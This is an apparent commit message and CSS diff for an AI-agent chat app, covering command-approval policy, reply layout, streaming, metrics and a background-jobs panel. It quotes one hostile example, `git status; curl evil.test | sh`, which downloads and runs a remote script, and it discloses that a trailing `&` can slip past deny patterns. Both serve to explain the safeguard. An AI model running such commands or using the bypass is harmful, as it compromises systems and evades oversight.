A reply you can read while it is still being written

Seven things, and the thread running through them is that the machinery was
right and what a person saw of it was not.

Auto asked about every compound command. `policy.subject` refuses to let any
pattern match a line carrying a shell metacharacter -- correct, and the whole
reason `git *` cannot also mean `git status; curl evil.test | sh` -- and a rule
on top of that asked whenever a deny list existed at all. The shipped deny list
is non-empty, so `cd build && make` and `pytest | tail` both stopped for
approval in the one mode whose purpose is not stopping. Nobody read that as a
security control; they read it as Auto not working. It is gone, and what it
costs is written down beside it and under the admin field: a deny pattern can be
walked past with a trailing `&`. Matching each segment would restore both.

A forty-round agent reply rendered as three zones -- all the thinking, then
every tool block, then all the prose -- which is fine at two rounds and
unreadable at forty. `Message.steps_json` is a table of contents over the three
stores rather than a fourth copy of any of them, so `build_messages`, compaction
and titling still see one string. No marks means the old layout, which is what
every existing row reads back, with no version flag and no branch in the
template.

Nothing could be expanded while a reply streamed, and that was two faults. The
tool list was replaced wholesale twelve times a second, so an opened block shut
itself within 80ms; the ids are stable now and steps.js puts them back, across
the final swap as well. And the thread snapped to the bottom on every frame, so
a block that did open was scrolled off -- opening one now stops it following
until you scroll back down yourself. Both driven under a DOM stub before
committing, per the note in CLAUDE.md.

The metrics were never wrong, which is why this looked like arithmetic and was
not. One chip is what the reply cost and the other is what the conversation
occupies; on a multi-round reply those differ by a lot and neither said which it
was. What was broken is that they stood still -- usage arrives once a round, and
`reported or estimated` stops consulting the estimate the moment the first chunk
lands -- and that the `~` marking an estimate vanished at exactly the point
everything became one. Interpolated between counts now, never over them.

Background jobs had no surface at all. A chip counting what is still running and
a panel with each job's command, state, log tail and a Stop button; the fifth
exception to "the modes govern the model, not the interface", for the reason the
other four are.

file_edit had two faults worth more than the error text. A file it could not
read was reported to the model as an empty one, and a file too large to read
whole was patched and written back by a call that replaces -- deleting
everything past the ceiling, silently, and reporting success with a byte count.
Both refused now. A refused hunk also prints the file around where it landed,
which is most of the retry loop these models get into.

And a model can talk itself to a standstill: a round with no tool calls is a
model saying it has finished, so pages of "Ready? GO! ... Wait ... Actually ..."
ended the reply having done nothing. `core.commit` is the prompt half and a
second nudge signal is the other, narrowed to a long reply that touched nothing
so that finishing is never argued with.

Also: the scope menu is called Toggle and no longer offers to type an `@` for
you, and "Always allow this" says when it has stored nothing rather than
appearing to work.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>

src/lembas/web/static/css/chat.css

@@ -952,6 +952,90 @@
 .composer__context select[name="agent_mode"] { flex: none; }
 .composer__dir-path { overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
 
+/* --- Background jobs -------------------------------------------------------
+   A chip in the composer row saying how many commands are still running out
+   there, and a panel behind it. `flex: none` for the reason the mode select is:
+   this is a control being read, and the row's one shrinkable child is
+   `.composer__context` itself. */
+.composer__jobs { flex: none; display: flex; align-items: center; }
+.composer__chip--jobs {
+  gap: var(--sp-1);
+  color: var(--accent);
+  font-variant-numeric: tabular-nums;
+}
+/* Something is still happening on a machine nobody is looking at, which is the
+   whole reason this exists. Slow, because it sits beside the composer for as
+   long as a build takes and a fast pulse there is a nuisance rather than a
+   signal.
+
+   No reduced-motion guard here, and not from carelessness: this file is pinned
+   to contain no media queries at all -- the test matches the string, comments
+   included -- and `dot-pulse` and `caret` above set the same precedent.
+   Honouring that preference belongs in one rule covering every animation, in
+   app.css, rather than in a third copy of the exception. */
+.composer__chip--jobs .icon { animation: jobs-pulse 2.4s ease-in-out infinite; }
+@keyframes jobs-pulse { 50% { opacity: 0.35; } }
+
+.picker__menu--jobs { width: min(34rem, 92vw); }
+
+.jobs__row { padding: var(--sp-2) 0; border-bottom: 1px solid var(--border); }
+.jobs__row:last-child { border-bottom: 0; }
+.jobs__head { display: flex; align-items: center; gap: var(--sp-2); }
+
+.jobs__dot {
+  flex: none;
+  width: 0.5rem;
+  height: 0.5rem;
+  border-radius: var(--radius-full);
+  background: var(--ink-muted);
+}
+.jobs__dot--running { background: var(--accent); }
+.jobs__dot--killed { background: var(--warning); }
+.jobs__dot--lost { background: var(--danger); }
+
+/* The command is the button: the row is wide, the affordance should be too.
+   `min-width: 0` or the flex item will not shrink below its content and the
+   Stop button is what falls off -- the same rule as the composer row itself. */
+.jobs__command {
+  flex: 1 1 auto;
+  min-width: 0;
+  text-align: left;
+  background: none;
+  border: 0;
+  padding: 0;
+  color: inherit;
+  cursor: pointer;
+  font: inherit;
+}
+.jobs__command code {
+  display: block;
+  overflow: hidden;
+  text-overflow: ellipsis;
+  white-space: nowrap;
+  font-size: var(--text-xs);
+}
+.jobs__stop { flex: none; }
+
+.jobs__meta {
+  margin: var(--sp-1) 0 0;
+  font-size: var(--text-xs);
+  color: var(--ink-muted);
+}
+.jobs__error { margin: var(--sp-2) 0 0; font-size: var(--text-xs); color: var(--danger); }
+
+.jobs__log {
+  margin: var(--sp-2) 0 0;
+  max-height: 16rem;
+  overflow: auto;
+  padding: var(--sp-2);
+  border-radius: var(--radius-sm);
+  background: var(--bg-sunken);
+  font-family: var(--font-mono);
+  font-size: var(--text-xs);
+  white-space: pre-wrap;
+  word-break: break-word;
+}
+
 .composer__hint {
   margin: var(--sp-2) 0 0;
   font-size: var(--text-xs);